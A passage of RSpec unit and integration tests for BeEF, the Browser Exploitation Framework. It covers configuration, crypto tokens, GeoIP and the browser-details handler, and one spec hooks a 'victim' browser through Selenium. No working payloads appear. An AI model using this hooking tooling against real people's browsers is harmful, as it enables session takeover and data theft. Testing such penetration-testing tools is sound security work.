receive(:get).with('beef.module.test_get_variable.path').and_return('modules/test/') allow(config).to receive(:get).with('beef.module.test_get_variable.mount').and_return('/command/test.js') allow(config).to receive(:get).with('beef.module.test_get_variable.db.id').and_return(1) command = described_class.new('test_get_variable') expect(command.friendlyname).to eq('Test Get Variable') end end describe '#needs_configuration?' do it 'returns true when datastore is not nil' do command = described_class.new('test_get_variable') command.instance_variable_set(:@datastore, {}) expect(command.needs_configuration?).to be true end it 'returns false when datastore is nil' do command = described_class.new('test_get_variable') command.instance_variable_set(:@datastore, nil) expect(command.needs_configuration?).to be false end end describe '#to_json' do it 'returns JSON with command information' do # Mock all config calls for this test allow(config).to receive(:get).and_call_original allow(config).to receive(:get).with('beef.module.test_get_variable.name').and_return('Test Get Variable') allow(config).to receive(:get).with('beef.module.test_get_variable.description').and_return('Test Description') allow(config).to receive(:get).with('beef.module.test_get_variable.category').and_return('Test Category') allow(config).to receive(:get).with('beef.module.test_get_variable.path').and_return('modules/test/') allow(config).to receive(:get).with('beef.module.test_get_variable.mount').and_return('/command/test.js') allow(config).to receive(:get).with('beef.module.test_get_variable.db.id').and_return(1) allow(BeEF::Module).to receive(:get_options).with('test_get_variable').and_return([]) command = described_class.new('test_get_variable') json = command.to_json parsed = JSON.parse(json) expect(parsed['Name']).to eq('Test Get Variable') expect(parsed['Description']).to eq('Test Description') expect(parsed['Category']).to eq('Test Category') end end describe '#build_datastore' do it 'parses JSON data into datastore' do command = described_class.new('test_get_variable') data = '{"key": "value"}' command.build_datastore(data) expect(command.datastore).to eq({ 'key' => 'value' }) end it 'handles invalid JSON gracefully' do command = described_class.new('test_get_variable') command.build_datastore('invalid json') expect(command.datastore).to eq({}) end end describe '#build_callback_datastore' do it 'initializes datastore with http_headers' do command = described_class.new('test_get_variable') command.build_callback_datastore('result', 1, 'hook', nil, nil) expect(command.datastore).to have_key('http_headers') expect(command.datastore['http_headers']).to eq({}) end it 'adds results, command_id, and beefhook' do command = described_class.new('test_get_variable') command.build_callback_datastore('result', 1, 'hook', nil, nil) expect(command.datastore['results']).to eq('result') expect(command.datastore['cid']).to eq(1) expect(command.datastore['beefhook']).to eq('hook') end it 'adds valid http_params to datastore' do allow(BeEF::Filters).to receive(:is_valid_command_module_datastore_key?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_command_module_datastore_param?).and_return(true) allow(Erubis::XmlHelper).to receive(:escape_xml) { |arg| arg } command = described_class.new('test_get_variable') command.build_callback_datastore('result', 1, 'hook', { 'param1' => 'value1' }, {}) expect(command.datastore['param1']).to eq('value1') end it 'skips invalid http_params' do allow(BeEF::Filters).to receive(:is_valid_command_module_datastore_key?).and_return(false) command = described_class.new('test_get_variable') command.build_callback_datastore('result', 1, 'hook', { 'invalid' => 'value' }, {}) expect(command.datastore).not_to have_key('invalid') end end describe '#save' do it 'saves results' do command = described_class.new('test_get_variable') results = { 'data' => 'test' } command.save(results) expect(command.instance_variable_get(:@results)).to eq(results) end end describe '#map_file_to_url' do it 'calls AssetHandler bind' do mock_handler = double('AssetHandler') allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(mock_handler) expect(mock_handler).to receive(:bind).with('file.txt', nil, nil, 1) command = described_class.new('test_get_variable') command.map_file_to_url('file.txt') end end describe '#use' do it 'adds component to beefjs_components when file exists' do # The path construction adds an extra /, so account for that component_path = "#{$root_dir}/core/main/client//net/local.js" allow(File).to receive(:exist?).and_call_original allow(File).to receive(:exist?).with(component_path).and_return(true) command = described_class.new('test_get_variable') command.use('beef.net.local') expect(command.beefjs_components).to have_key('beef.net.local') end it 'raises error when component file does not exist' do component_path = "#{$root_dir}/core/main/client//net/nonexistent.js" allow(File).to receive(:exist?).and_call_original allow(File).to receive(:exist?).with(component_path).and_return(false) command = described_class.new('test_get_variable') expect { command.use('beef.net.nonexistent') }.to raise_error(/Invalid beefjs component/) end it 'does not add component twice' do component_path = "#{$root_dir}/core/main/client//net/local.js" allow(File).to receive(:exist?).and_call_original allow(File).to receive(:exist?).with(component_path).and_return(true) command = described_class.new('test_get_variable') command.use('beef.net.local') command.use('beef.net.local') expect(command.beefjs_components.keys.count).to eq(1) end end describe '#oc_value' do it 'returns option value when option exists' do BeEF::Core::Models::OptionCache.create!(name: 'test_option', value: 'test_value') command = described_class.new('test_get_variable') expect(command.oc_value('test_option')).to eq('test_value') end it 'returns nil when option does not exist' do command = described_class.new('test_get_variable') expect(command.oc_value('nonexistent')).to be_nil end end describe '#apply_defaults' do it 'applies option cache values to datastore' do BeEF::Core::Models::OptionCache.create!(name: 'option1', value: 'cached_value') command = described_class.new('test_get_variable') command.instance_variable_set(:@datastore, [{ 'name' => 'option1', 'value' => 'default_value' }]) command.apply_defaults expect(command.datastore[0]['value']).to eq('cached_value') end it 'keeps default value when option cache does not exist' do command = described_class.new('test_get_variable') command.instance_variable_set(:@datastore, [{ 'name' => 'option1', 'value' => 'default_value' }]) command.apply_defaults expect(command.datastore[0]['value']).to eq('default_value') end end end ================================================ FILE: spec/beef/core/main/configuration_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.configure do |config| end RSpec.describe 'BeEF Configuration' do before(:context) do @config_instance = BeEF::Core::Configuration.instance @original_http_host = @config_instance.get('beef.http.host') @original_http_port = @config_instance.get('beef.http.port') @original_http_https = @config_instance.get('beef.http.https.enable') @original_http_public_host = @config_instance.get('beef.http.public.host') @original_http_public_port = @config_instance.get('beef.http.public.port') @original_http_public_https = @config_instance.get('beef.http.public.https') @original_http_hook_file = @config_instance.get('beef.http.hook_file') end after(:context) do # Reset the configuration values # This is important as the tests may change the configuration values @config_instance.set('beef.http.host', @original_http_host) @config_instance.set('beef.http.port', @original_http_port) @config_instance.set('beef.http.https.enable', @original_http_https) @config_instance.set('beef.http.public.host', @original_http_public_host) @config_instance.set('beef.http.public.port', @original_http_public_port) @config_instance.set('beef.http.public.https', @original_http_public_https) @config_instance.set('beef.http.hook_file', @original_http_hook_file) end context 'http local host configuration values' do it 'should set the local host value to 0.0.0.0' do @config_instance.set('beef.http.host', '0.0.0.0') expect(@config_instance.get('beef.http.host')).to eq('0.0.0.0') end it 'should get the local host value' do @config_instance.set('beef.http.host', '0.0.0.0') expect(@config_instance.local_host).to eq('0.0.0.0') end it 'should get the default host value' do @config_instance.set('beef.http.host', nil) expect(@config_instance.get('beef.http.host')).to eq(nil) expect(@config_instance.local_host).to eq('0.0.0.0') end end context 'http local port configuration values' do it 'should set the local port value to 3000' do @config_instance.set('beef.http.port', '3000') expect(@config_instance.get('beef.http.port')).to eq('3000') end it 'should get the local port value' do @config_instance.set('beef.http.port', '3000') expect(@config_instance.local_port).to eq('3000') end it 'should get the default port value' do @config_instance.set('beef.http.port', nil) expect(@config_instance.get('beef.http.port')).to eq(nil) expect(@config_instance.local_port).to eq('3000') end end context 'beef https enabled configuration values' do it 'should set the https enabled config value' do @config_instance.set('beef.http.https.enable', true) expect(@config_instance.get('beef.http.https.enable')).to eq(true) end it 'should get https enabled value set to true' do @config_instance.set('beef.http.https.enable', true) expect(@config_instance.local_https_enabled).to eq(true) end it 'should get https enabled value set to false' do @config_instance.set('beef.http.https.enable', false) expect(@config_instance.local_https_enabled).to eq(false) end it 'should get the default https enabled value' do @config_instance.set('beef.http.https.enable', nil) expect(@config_instance.get('beef.http.https.enable')).to eq(nil) expect(@config_instance.local_https_enabled).to eq(false) end end #public context 'http public host configuration values' do it 'should set the public host value to example.com' do @config_instance.set('beef.http.public.host', 'example.com') expect(@config_instance.get('beef.http.public.host')).to eq('example.com') end it 'should get the public host value' do @config_instance.set('beef.http.public.host', 'example.com') expect(@config_instance.public_host).to eq('example.com') end it 'should get nil host value' do @config_instance.set('beef.http.public.host', nil) expect(@config_instance.get('beef.http.public.host')).to eq(nil) expect(@config_instance.public_host).to eq(nil) end end context 'http public port configuration values' do it 'should set the public port value to 3000' do @config_instance.set('beef.http.public.port', '443') expect(@config_instance.get('beef.http.public.port')).to eq('443') end it 'should get the public port value' do @config_instance.set('beef.http.public.port', '3000') expect(@config_instance.public_port).to eq('3000') end it 'should return 80 as the port given a public host has been set and https disabled' do @config_instance.set('beef.http.public.port', nil) @config_instance.set('beef.http.public.host', 'example.com') @config_instance.set('beef.http.public.https', false) expect(@config_instance.get('beef.http.public.port')).to eq(nil) expect(@config_instance.get('beef.http.public.host')).to eq('example.com') expect(@config_instance.public_port).to eq('80') end end context 'beef https enabled configuration values' do it 'should set the https enabled config value' do @config_instance.set('beef.http.https.enable', true) expect(@config_instance.get('beef.http.https.enable')).to eq(true) end it 'should get https enabled value set to true' do @config_instance.set('beef.http.public.https', true) expect(@config_instance.public_https_enabled?).to eq(true) end it 'should get https enabled value set to false' do @config_instance.set('beef.http.public.https', false) expect(@config_instance.public_https_enabled?).to eq(false) end it 'should get the default https to false' do @config_instance.set('beef.http.public.https', nil) expect(@config_instance.get('beef.http.public.https')).to eq(nil) expect(@config_instance.public_https_enabled?).to eq(false) end it 'should return public port as 443 if public https is enabled' do @config_instance.set('beef.http.public.https', true) @config_instance.set('beef.http.public.port', nil) expect(@config_instance.get('beef.http.public.https')).to eq(true) expect(@config_instance.get('beef.http.public.port')).to eq(nil) expect(@config_instance.public_https_enabled?).to eq(true) expect(@config_instance.public_port).to eq('443') end end context 'beef hosting information' do it 'should return the local host value because a public has not been set' do @config_instance.set('beef.http.host', 'asdqwe') @config_instance.set('beef.http.public.host', nil) expect(@config_instance.get('beef.http.host')).to eq('asdqwe') expect(@config_instance.get('beef.http.public.host')).to eq(nil) expect(@config_instance.beef_host).to eq('asdqwe') end it 'should return the public host value because a public has been set' do @config_instance.set('beef.http.host', 'asdqwe') @config_instance.set('beef.http.public.host', 'poilkj') expect(@config_instance.get('beef.http.host')).to eq('asdqwe') expect(@config_instance.get('beef.http.public.host')).to eq('poilkj') expect(@config_instance.beef_host).to eq('poilkj') end it 'should return the local port value because a public value has not been set' do @config_instance.set('beef.http.port', '3000') @config_instance.set('beef.http.public.host', nil) @config_instance.set('beef.http.public.port', nil) @config_instance.set('beef.http.public.https', nil) expect(@config_instance.get('beef.http.port')).to eq('3000') expect(@config_instance.get('beef.http.public.port')).to eq(nil) expect(@config_instance.get('beef.http.public.host')).to eq(nil) expect(@config_instance.get('beef.http.public.https')).to eq(nil) expect(@config_instance.beef_port).to eq('3000') end it 'should return the public host value because a public has been set' do @config_instance.set('beef.http.port', '3000') @config_instance.set('beef.http.public.port', '80') @config_instance.set('beef.http.public.host', nil) expect(@config_instance.get('beef.http.port')).to eq('3000') expect(@config_instance.get('beef.http.public.port')).to eq('80') expect(@config_instance.get('beef.http.public.host')).to eq(nil) expect(@config_instance.beef_port).to eq('80') end it 'should return a protocol https if https public has been enabled and public host is set' do @config_instance.set('beef.http.public.https', true) @config_instance.set('beef.http.public.host', 'public') expect(@config_instance.get('beef.http.public.https')).to eq(true) expect(@config_instance.beef_proto).to eq('https') end it 'should return a protocol http if public is not set and https local is fales' do @config_instance.set('beef.http.public.https', false) @config_instance.set('beef.http.https.enable', false) expect(@config_instance.get('beef.http.public.https')).to eq(false) expect(@config_instance.beef_proto).to eq('http') end it 'should return the full url string for beef local http and port 80' do @config_instance.set('beef.http.host', 'localhost') @config_instance.set('beef.http.port', '80') @config_instance.set('beef.http.https.enable', false) @config_instance.set('beef.http.public.https', false) @config_instance.set('beef.http.public.host', nil) @config_instance.set('beef.http.public.port', nil) expect(@config_instance.get('beef.http.host')).to eq('localhost') expect(@config_instance.get('beef.http.port')).to eq('80') expect(@config_instance.get('beef.http.https.enable')).to eq(false) expect(@config_instance.get('beef.http.public.https')).to eq(false) expect(@config_instance.beef_url_str).to eq('http://localhost:80') end it 'should return the full url string for beef https localhost 3000 default' do @config_instance.set('beef.http.host', 'localhost') @config_instance.set('beef.http.port', nil) @config_instance.set('beef.http.https.enable', true) @config_instance.set('beef.http.public.host', nil) @config_instance.set('beef.http.public.https', false) @config_instance.set('beef.http.public.host', nil) @config_instance.set('beef.http.public.port', nil) expect(@config_instance.get('beef.http.host')).to eq('localhost') expect(@config_instance.get('beef.http.port')).to eq(nil) expect(@config_instance.get('beef.http.https.enable')).to eq(true) expect(@config_instance.get('beef.http.public.https')).to eq(false) expect(@config_instance.beef_url_str).to eq('https://localhost:3000') end it 'should return the full url string for beef hook url' do @config_instance.set('beef.http.host', 'localhost') @config_instance.set('beef.http.port', nil) @config_instance.set('beef.http.https.enable', true) @config_instance.set('beef.http.public.https', false) @config_instance.set('beef.http.public.host', nil) @config_instance.set('beef.http.public.port', nil) @config_instance.set('beef.http.hook_file', '/hook.js') expect(@config_instance.get('beef.http.host')).to eq('localhost') expect(@config_instance.get('beef.http.port')).to eq(nil) expect(@config_instance.get('beef.http.https.enable')).to eq(true) expect(@config_instance.get('beef.http.public.https')).to eq(false) expect(@config_instance.get('beef.http.hook_file')).to eq('/hook.js') expect(@config_instance.beef_url_str).to eq('https://localhost:3000') expect(@config_instance.hook_url).to eq('https://localhost:3000/hook.js') end end end ================================================ FILE: spec/beef/core/main/crypto_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'spec_helper' RSpec.describe 'BeEF::Core::Crypto' do let(:config) { BeEF::Core::Configuration.instance } describe '.secure_token' do it 'generates a hex string of the specified length' do token = BeEF::Core::Crypto.secure_token(20) expect(token).to be_a(String) expect(token.length).to eq(40) # 20 bytes = 40 hex chars expect(token).to match(/\A[0-9a-f]+\z/) end it 'uses config default length when no length provided' do default_length = config.get('beef.crypto_default_value_length').to_i token = BeEF::Core::Crypto.secure_token expect(token.length).to eq(default_length * 2) # bytes to hex conversion end it 'raises TypeError for length below minimum' do expect { BeEF::Core::Crypto.secure_token(10) }.to raise_error(TypeError, /minimum length/) end it 'generates different tokens on each call' do token1 = BeEF::Core::Crypto.secure_token(20) token2 = BeEF::Core::Crypto.secure_token(20) expect(token1).not_to eq(token2) end end describe '.random_alphanum_string' do it 'generates a string of the specified length' do result = BeEF::Core::Crypto.random_alphanum_string(15) expect(result).to be_a(String) expect(result.length).to eq(15) expect(result).to match(/\A[a-zA-Z0-9]+\z/) end it 'raises TypeError for invalid inputs' do expect { BeEF::Core::Crypto.random_alphanum_string('invalid') }.to raise_error(TypeError) expect { BeEF::Core::Crypto.random_alphanum_string(0) }.to raise_error(TypeError, /Invalid length/) expect { BeEF::Core::Crypto.random_alphanum_string(-1) }.to raise_error(TypeError, /Invalid length/) end end describe '.random_hex_string' do it 'generates a hex string of the specified length' do result = BeEF::Core::Crypto.random_hex_string(10) expect(result).to be_a(String) expect(result.length).to eq(10) expect(result).to match(/\A[0-9a-f]+\z/) end it 'raises TypeError for invalid inputs' do expect { BeEF::Core::Crypto.random_hex_string('invalid') }.to raise_error(TypeError) expect { BeEF::Core::Crypto.random_hex_string(0) }.to raise_error(TypeError, /Invalid length/) end end # NOTE: .dns_rule_id is not tested here as it requires database queries # and is better suited for integration tests end ================================================ FILE: spec/beef/core/main/geoip_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::GeoIp do let(:config) { BeEF::Core::Configuration.instance } let(:geoip) { described_class.instance } # Mock MaxMind module if not available before do unless defined?(MaxMind) stub_const('MaxMind', Module.new) stub_const('MaxMind::DB', Class.new) end # MODE_MEMORY is actually :MODE_MEMORY (not :memory) - use actual value if available mode_memory = defined?(MaxMind::DB::MODE_MEMORY) ? MaxMind::DB::MODE_MEMORY : :MODE_MEMORY stub_const('MaxMind::DB::MODE_MEMORY', mode_memory) unless defined?(MaxMind::DB::MODE_MEMORY) end before do # Reset singleton instance for each test described_class.instance_variable_set(:@singleton__instance__, nil) # Allow config to receive other calls allow(config).to receive(:get).and_call_original end describe '#initialize' do it 'disables GeoIP when configuration is false' do allow(config).to receive(:get).with('beef.geoip.enable').and_return(false) expect(geoip.enabled?).to be false end it 'disables GeoIP when database file does not exist' do allow(config).to receive(:get).with('beef.geoip.enable').and_return(true) allow(config).to receive(:get).with('beef.geoip.database').and_return('/nonexistent/db.mmdb') allow(File).to receive(:exist?).with('/nonexistent/db.mmdb').and_return(false) expect(geoip.enabled?).to be false end it 'enables GeoIP when database file exists' do # Set up stub BEFORE singleton is created allow(config).to receive(:get).with('beef.geoip.enable').and_return(true) allow(config).to receive(:get).with('beef.geoip.database').and_return('/path/to/db.mmdb') allow(File).to receive(:exist?).and_call_original allow(File).to receive(:exist?).with('/path/to/db.mmdb').and_return(true) mock_reader = double('MaxMind::DB') allow(mock_reader).to receive(:freeze) allow(MaxMind::DB).to receive(:new).with('/path/to/db.mmdb', { mode: MaxMind::DB::MODE_MEMORY }).and_return(mock_reader) # Reset singleton so it reinitializes with our stubs described_class.instance_variable_set(:@singleton__instance__, nil) expect(geoip.enabled?).to be true end it 'disables GeoIP on initialization error' do allow(config).to receive(:get).with('beef.geoip.enable').and_return(true) allow(config).to receive(:get).with('beef.geoip.database').and_return('/path/to/db.mmdb') allow(File).to receive(:exist?).with('/path/to/db.mmdb').and_return(true) allow(MaxMind::DB).to receive(:new).and_raise(StandardError.new('Database error')) expect(geoip.enabled?).to be false end end describe '#enabled?' do it 'returns false when GeoIP is disabled' do allow(config).to receive(:get).with('beef.geoip.enable').and_return(false) expect(geoip.enabled?).to be false end it 'returns true when GeoIP is enabled' do # Set up stub BEFORE singleton is created - singleton initializes when let(:geoip) is called allow(config).to receive(:get).with('beef.geoip.enable').and_return(true) allow(config).to receive(:get).with('beef.geoip.database').and_return('/path/to/db.mmdb') allow(File).to receive(:exist?).and_call_original allow(File).to receive(:exist?).with('/path/to/db.mmdb').and_return(true) mock_reader = double('MaxMind::DB') allow(mock_reader).to receive(:freeze) # The actual call is: MaxMind::DB.new('/path/to/db.mmdb', mode: :MODE_MEMORY) allow(MaxMind::DB).to receive(:new).with('/path/to/db.mmdb', { mode: :MODE_MEMORY }).and_return(mock_reader) # Reset singleton so it reinitializes with our stubs described_class.instance_variable_set(:@singleton__instance__, nil) expect(geoip.enabled?).to be true end end describe '#lookup' do it 'raises TypeError for non-string IP' do allow(config).to receive(:get).with('beef.geoip.enable').and_return(false) expect { geoip.lookup(123) }.to raise_error(TypeError, /"ip" needs to be a string/) end it 'returns nil when GeoIP is disabled' do allow(config).to receive(:get).with('beef.geoip.enable').and_return(false) expect(geoip.lookup('192.168.1.1')).to be_nil end it 'returns lookup result when GeoIP is enabled' do allow(config).to receive(:get).with('beef.geoip.enable').and_return(true) allow(config).to receive(:get).with('beef.geoip.database').and_return('/path/to/db.mmdb') allow(File).to receive(:exist?).with('/path/to/db.mmdb').and_return(true) mock_reader = double('MaxMind::DB') allow(mock_reader).to receive(:freeze) allow(mock_reader).to receive(:get).with('192.168.1.1').and_return({ 'city' => 'Test City' }) allow(MaxMind::DB).to receive(:new).with('/path/to/db.mmdb', anything).and_return(mock_reader) result = geoip.lookup('192.168.1.1') expect(result).to eq({ 'city' => 'Test City' }) end end end ================================================ FILE: spec/beef/core/main/handlers/browser_details_handler_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'rest-client' require 'json' require_relative '../../../../spec_helper' require_relative '../../../../support/constants' require_relative '../../../../support/beef_test' RSpec.describe 'Browser Details Handler', run_on_browserstack: true do before(:all) do @__ar_config_snapshot = SpecActiveRecordConnection.snapshot @config = BeEF::Core::Configuration.instance db_file = @config.get('beef.database.file') print_info 'Resetting the database for BeEF.' if ENV['RESET_DB'] File.delete(db_file) if File.exist?(db_file) end @config.set('beef.credentials.user', 'beef') @config.set('beef.credentials.passwd', 'beef') @username = @config.get('beef.credentials.user') @password = @config.get('beef.credentials.passwd') # Load BeEF extensions and modules # Always load Extensions, as previous changes to the config from other tests may affect # whether or not this test passes. print_info 'Loading in BeEF::Extensions' BeEF::Extensions.load # Check if modules already loaded. No need to reload. if @config.get('beef.module').nil? print_info 'Loading in BeEF::Modules' BeEF::Modules.load else print_info 'Modules already loaded' end # Grab DB file and regenerate if requested print_info 'Loading database' # Load up DB and migrate if necessary ActiveRecord::Base.logger = nil OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end # Migrate (if required) ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] MUTEX.synchronize do context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) if context.needs_migration? ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate end end BeEF::Core::Migration.instance.update_db! # Spawn HTTP Server print_info 'Starting HTTP Hook Server' http_hook_server = BeEF::Core::Server.instance # Generate a token for the server to respond with @token = BeEF::Core::Crypto.api_token # ***** IMPORTANT: close any and all AR/OTR connections before forking ***** disconnect_all_active_record! # Initiate server start-up @pid = fork do http_hook_server.prepare BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) http_hook_server.start end begin @caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID]) @caps['name'] = self.class.description || ENV['name'] || 'no-name' @caps['browserstack.local'] = true @caps['browserstack.video'] = true @caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER'] @driver = Selenium::WebDriver.for(:remote, url: "http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub", options: @caps) # Hook new victim print_info 'Hooking a new victim, waiting a few seconds...' wait = Selenium::WebDriver::Wait.new(timeout: 30) # seconds @driver.navigate.to VICTIM_URL.to_s sleep 3 sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 } @session = @driver.execute_script('return window.beef.session.get_hook_session_id()') end end after(:all) do server_teardown(@driver, @pid, @pids) disconnect_all_active_record! SpecActiveRecordConnection.restore!(@__ar_config_snapshot) end it 'can successfully hook a browser' do expect(@session).not_to be_nil end it 'browser details handler working' do print_info 'Getting browser details' hooked_browser = BeEF::Core::Models::HookedBrowser.all.first details = JSON.parse(RestClient.get("#{RESTAPI_HOOKS}/#{hooked_browser.session}?token=#{@token}")) browser_name = if details['browser.name.friendly'].downcase == 'internet explorer' 'internet_explorer' else details['browser.name.friendly'].downcase end expect(@driver.browser.to_s.downcase).to eq(browser_name) end end ================================================ FILE: spec/beef/core/main/handlers/browserdetails_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::Handlers::BrowserDetails do let(:config) { BeEF::Core::Configuration.instance } let(:session_id) { 'test_session_123' } let(:mock_request) do double('Request', ip: '127.0.0.1', referer: 'http://example.com', env: { 'HTTP_USER_AGENT' => 'Mozilla/5.0' }) end let(:data) do { 'beefhook' => session_id, 'request' => mock_request, 'results' => { 'browser.name' => 'FF', 'browser.version' => '91.0', 'browser.window.hostname' => 'example.com', 'browser.window.hostport' => '80' } } end before do allow(config).to receive(:get).and_call_original allow(config).to receive(:get).with('beef.dns_hostname_lookup').and_return(false) allow(config).to receive(:get).with('beef.extension.network.enable').and_return(false) allow(config).to receive(:get).with('beef.http.websocket.enable').and_return(false) allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(true) allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) allow(BeEF::Core::Logger.instance).to receive(:register) allow(BeEF::Core::GeoIp.instance).to receive(:enabled?).and_return(false) # Stub NetworkHost if it exists, otherwise stub the constant if defined?(BeEF::Core::Models::NetworkHost) allow(BeEF::Core::Models::NetworkHost).to receive(:create) else stub_const('BeEF::Core::Models::NetworkHost', double('NetworkHost', create: nil)) end end describe '#initialize' do it 'initializes with data and calls setup' do expect_any_instance_of(described_class).to receive(:setup) described_class.new(data) end end describe '#err_msg' do let(:handler) do instance = described_class.allocate instance.instance_variable_set(:@data, data) instance end it 'calls print_error with prefixed message' do expect(handler).to receive(:print_error).with('[Browser Details] test error') handler.err_msg('test error') end end describe '#get_param' do let(:handler) do # Create handler but prevent full setup execution instance = described_class.allocate instance.instance_variable_set(:@data, data) instance end it 'returns value when key exists in hash' do result = handler.get_param(data['results'], 'browser.name') expect(result).to eq('FF') end it 'returns nil when key does not exist' do result = handler.get_param(data['results'], 'nonexistent') expect(result).to be_nil end it 'returns nil when query is not a hash' do result = handler.get_param('not a hash', 'key') expect(result).to be_nil end it 'converts value to string' do result = handler.get_param({ 'key' => 123 }, 'key') expect(result).to eq('123') end end describe '#setup' do it 'validates session id' do invalid_data = data.dup invalid_data['beefhook'] = 'invalid' allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).with('invalid').and_return(false) expect { described_class.new(invalid_data) }.not_to raise_error end it 'skips setup if browser already registered' do existing_browser = double('HookedBrowser', session: session_id) allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([existing_browser]) expect(BeEF::Core::Models::HookedBrowser).not_to receive(:new) described_class.new(data) end it 'creates new hooked browser when not registered' do allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true) allow(BeEF::Filters).to receive(:nums_only?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true) allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true) allow(BeEF::Core::Models::BrowserDetails).to receive(:set) allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') allow(zombie).to receive(:firstseen=) allow(zombie).to receive(:domain=) allow(zombie).to receive(:port=) allow(zombie).to receive(:httpheaders=) allow(zombie).to receive(:httpheaders).and_return('{}') allow(zombie).to receive(:save!) # Mock JSON.parse for proxy detection allow(JSON).to receive(:parse).with('{}').and_return({}) allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) described_class.new(data) expect(BeEF::Core::Models::HookedBrowser).to have_received(:new).with(ip: '127.0.0.1', session: session_id) end it 'extracts domain from referer when hostname is missing' do referer_data = data.dup referer_data['results'].delete('browser.window.hostname') referer_data['results'].delete('browser.window.hostport') referer_data['request'] = double('Request', ip: '127.0.0.1', referer: 'https://example.com/page', env: {}) allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true) allow(BeEF::Filters).to receive(:nums_only?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true) allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true) allow(BeEF::Core::Models::BrowserDetails).to receive(:set) allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') allow(zombie).to receive(:firstseen=) allow(zombie).to receive(:domain=).with('example.com') allow(zombie).to receive(:port=).with(443) allow(zombie).to receive(:httpheaders=) allow(zombie).to 